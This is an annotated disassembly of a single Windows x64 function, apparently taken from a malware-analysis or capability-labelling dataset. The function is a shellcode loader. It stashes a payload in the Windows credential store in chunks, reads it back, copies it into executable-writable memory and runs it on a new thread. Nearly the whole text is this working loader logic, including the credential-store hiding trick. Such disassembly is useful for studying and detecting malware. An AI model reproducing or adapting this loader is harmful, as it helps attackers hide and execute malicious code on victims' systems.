Function at 0x1400088f0
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x200]
sub rsp, 0x300
mov rax, qword [0x140015008]
xor rax, rsp
mov qword [rbp + 0x1f0], rax
call section..text
mov rcx, rax
call fcn.140008700
mov r14, rax
mov eax, dword [0x1400156c0]
mov ecx, eax
and ecx, 0x80000001
jge 0x14000894b
dec ecx
or ecx, 0xfffffffe
inc ecx
cmp ecx, 1
jne 0x140008952
inc eax
cdq
mov qword [rsp + 0x320], rbx
sub eax, edx
xor r12d, r12d
sar eax, 1
mov edi, r12d
mov dword [0x1400156c0], eax
cdq
and edx, 0x7f
add eax, edx
mov esi, eax
and eax, 0x7f
sub eax, edx
sar esi, 7
movsxd r15, eax
test esi, esi
jle 0x140008a56
mov ebx, r12d
nop dword [rax]
movsxd rax, ebx
lea rcx, [rbp + 0xe0]
mov r8d, 0x80
lea rdx, [r14 + rax*2]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncpy]
xor edx, edx
mov word [rbp + 0x1e0], r12w
mov r8d, 0xc8
lea rcx, [rbp + 0x10]
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0xb8
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [str.myrealm]
mov r8d, 0xa
lea rdx, [rbp + 0x10]
mov ecx, edi
movaps xmmword [rsp + 0x40], xmm0
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__itow]
lea rdx, [rsp + 0x40]
mov r8, rax
sub rdx, 2
nop
cmp word [rdx + 2], r12w
lea rdx, [rdx + 2]
jne 0x140008a00
xor ecx, ecx
nop dword [rax]
movzx eax, word [r8 + rcx*2]
mov word [rdx + rcx*2], ax
lea rcx, [rcx + 1]
test ax, ax
jne 0x140008a10
mov r9d, 1
lea r8, str.123456
lea rdx, [rbp + 0xe0]
lea rcx, [rsp + 0x40]
call qword [sym.imp.credui.dll_CredUIStoreSSOCredW]
test eax, eax
jne 0x140008df6
inc edi
sub ebx, 0xffffff80
cmp edi, esi
jl 0x140008990
test r15d, r15d
je 0x140008b29
mov eax, edi
lea rcx, [rbp + 0xe0]
shl eax, 7
mov r8, r15
cdqe
mov rbx, r15
lea rdx, [r14 + rax*2]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncpy]
add rbx, rbx
cmp rbx, 0x102
jae 0x140008dfc
xor edx, edx
mov word [rbp + rbx + 0xe0], r12w
mov r8d, 0xc8
lea rcx, [rbp + 0x10]
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0xb8
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [str.myrealm]
mov r8d, 0xa
lea rdx, [rbp + 0x10]
mov ecx, edi
movaps xmmword [rsp + 0x40], xmm0
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__itow]
lea rcx, [rsp + 0x40]
mov r10, rax
sub rcx, 2
cmp word [rcx + 2], r12w
lea rcx, [rcx + 2]
jne 0x140008ae3
xor edx, edx
movzx eax, word [r10 + rdx*2]
mov word [rcx + rdx*2], ax
lea rdx, [rdx + 1]
test ax, ax
jne 0x140008af0
mov r9d, 1
lea r8, str.123456
lea rdx, [rbp + 0xe0]
lea rcx, [rsp + 0x40]
call qword [sym.imp.credui.dll_CredUIStoreSSOCredW]
test eax, eax
jne 0x140008df6
lea rcx, str.___Payload_written._n
call fcn.140008670
mov ecx, 0x2000000
call fcn.1400090e4
mov rsi, rax
lea rcx, [rbp + 0x10]
xor eax, eax
xor edx, edx
mov r8d, 0xc8
mov edi, r12d
mov ebx, r12d
mov qword [rsi], rax
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0xb8
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [str.myrealm]
mov r8d, 0xa
lea rdx, [rbp + 0x10]
xor ecx, ecx
movaps xmmword [rsp + 0x40], xmm0
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__itow]
lea rcx, [rsp + 0x40]
mov r8, rax
sub rcx, 2
nop word [rax + rax]
cmp word [rcx + 2], bx
lea rcx, [rcx + 2]
jne 0x140008ba0
xor edx, edx
nop dword [rax]
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
lea rdx, [rdx + 1]
test ax, ax
jne 0x140008bb0
lea rcx, [rsp + 0x40]
sub rcx, 2
nop dword [rax + rax]
cmp word [rcx + 2], bx
lea rcx, [rcx + 2]
jne 0x140008bd0
mov eax, dword [0x140013a50]
lea rdx, [rsp + 0x30]
mov dword [rcx], eax
movzx eax, word [0x140013a54]
mov word [rcx + 4], ax
lea rcx, [rsp + 0x40]
call qword [sym.imp.credui.dll_CredUIReadSSOCredW]
test eax, eax
jne 0x140008d06
nop word [rax + rax]
mov rcx, qword [rsp + 0x30]
inc ebx
movsxd rax, edi
lea rdx, [rsi + rax*2]
nop
movzx eax, word [rcx]
lea rcx, [rcx + 2]
mov word [rdx], ax
lea rdx, [rdx + 2]
test ax, ax
jne 0x140008c20
mov rcx, qword [rsp + 0x30]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp word [rcx + rax*2], r12w
jne 0x140008c40
xor edx, edx
lea rcx, [rbp + 0x10]
mov r8d, 0xc8
add edi, eax
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0xb8
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [str.myrealm]
mov r8d, 0xa
lea rdx, [rbp + 0x10]
mov ecx, ebx
movaps xmmword [rsp + 0x40], xmm0
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__itow]
lea rcx, [rsp + 0x40]
mov r8, rax
sub rcx, 2
nop dword [rax]
cmp word [rcx + 2], r12w
lea rcx, [rcx + 2]
jne 0x140008ca0
xor edx, edx
nop dword [rax]
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
lea rdx, [rdx + 1]
test ax, ax
jne 0x140008cb0
lea rax, [rsp + 0x40]
sub rax, 2
nop dword [rax + rax]
cmp word [rax + 2], r12w
lea rax, [rax + 2]
jne 0x140008cd0
mov ecx, dword [0x140013a50]
lea rdx, [rsp + 0x30]
mov dword [rax], ecx
movzx ecx, word [0x140013a54]
mov word [rax + 4], cx
lea rcx, [rsp + 0x40]
call qword [sym.imp.credui.dll_CredUIReadSSOCredW]
test eax, eax
je 0x140008c10
lea eax, [rdi + rdi]
mov r9d, 0x40
mov edx, eax
mov r8d, 0x1000
xor ecx, ecx
mov dword [0x1400156c4], eax
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140008d40
lea rcx, str.memory_is_not_enough__n
call fcn.140008670
jmp 0x140008dc0
mov rdx, rdi
lea rcx, [0x140013a70]
call fcn.140008670
test rbx, rbx
je 0x140008d62
mov r8, rbx
mov rdx, rsi
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x28], r12
xor r9d, r9d
mov r8, rdi
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
jne 0x140008d92
lea rcx, str.Creating_thread_failed__n
call fcn.140008670
jmp 0x140008dc0
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
lea rcx, str.Successfully_Loaded__n
call fcn.140008670
mov edx, 0xffffffff
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, ebx
lea rcx, str.___Payload_size:__d_bytes_
call fcn.140008670
mov rbx, qword [rsp + 0x320]
xor eax, eax
mov rcx, qword [rbp + 0x1f0]
xor rcx, rsp
call fcn.140008e20
lea r11, [rsp + 0x300]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.1400086d0
int3
call fcn.140008f50
int3